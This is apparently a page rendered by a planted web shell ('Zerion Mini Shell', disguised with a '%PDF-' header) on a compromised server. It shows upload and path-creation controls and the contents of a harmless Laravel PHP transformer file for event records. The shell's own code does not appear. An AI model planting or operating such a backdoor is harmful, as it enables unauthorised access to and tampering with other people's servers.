%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/diaspora/api_internal/app/Transformers/
Upload File :
Create Path :
Current File : /var/www/html/diaspora/api_internal/app/Transformers/EventTransformer.php

<?php

namespace App\Transformers;

use App\Models\Event;

class EventTransformer extends BaseTransformer
{
    protected $availableIncludes = [

    ];

    /**
     * @param Event $event
     *
     * @return array
     */
    public function transform(Event $event)
    {
        return [
            'id'               => $event->id,
            'for'              => $event->for,
            'readable_for'     => trans("eventsFor.$event->for"),
            'title'            => $event->title,
            'description'      => $event->description,
            'location'         => $event->location,
            'when'             => $event->when,
            'status'           => $event->status,
            'video_type'       => $event->video_type,
            'video_url'        => $event->video_url,
            'featured_image'   => $event->getFeaturedImage(),
            'published_at'     => $event->published_at,
            'can_be_published' => $event->canBePublished(),
            'available_in'     => $event->translations()
                                        ->get()
                                        ->pluck('locale'),
        ];
    }
}

Zerion Mini Shell 1.0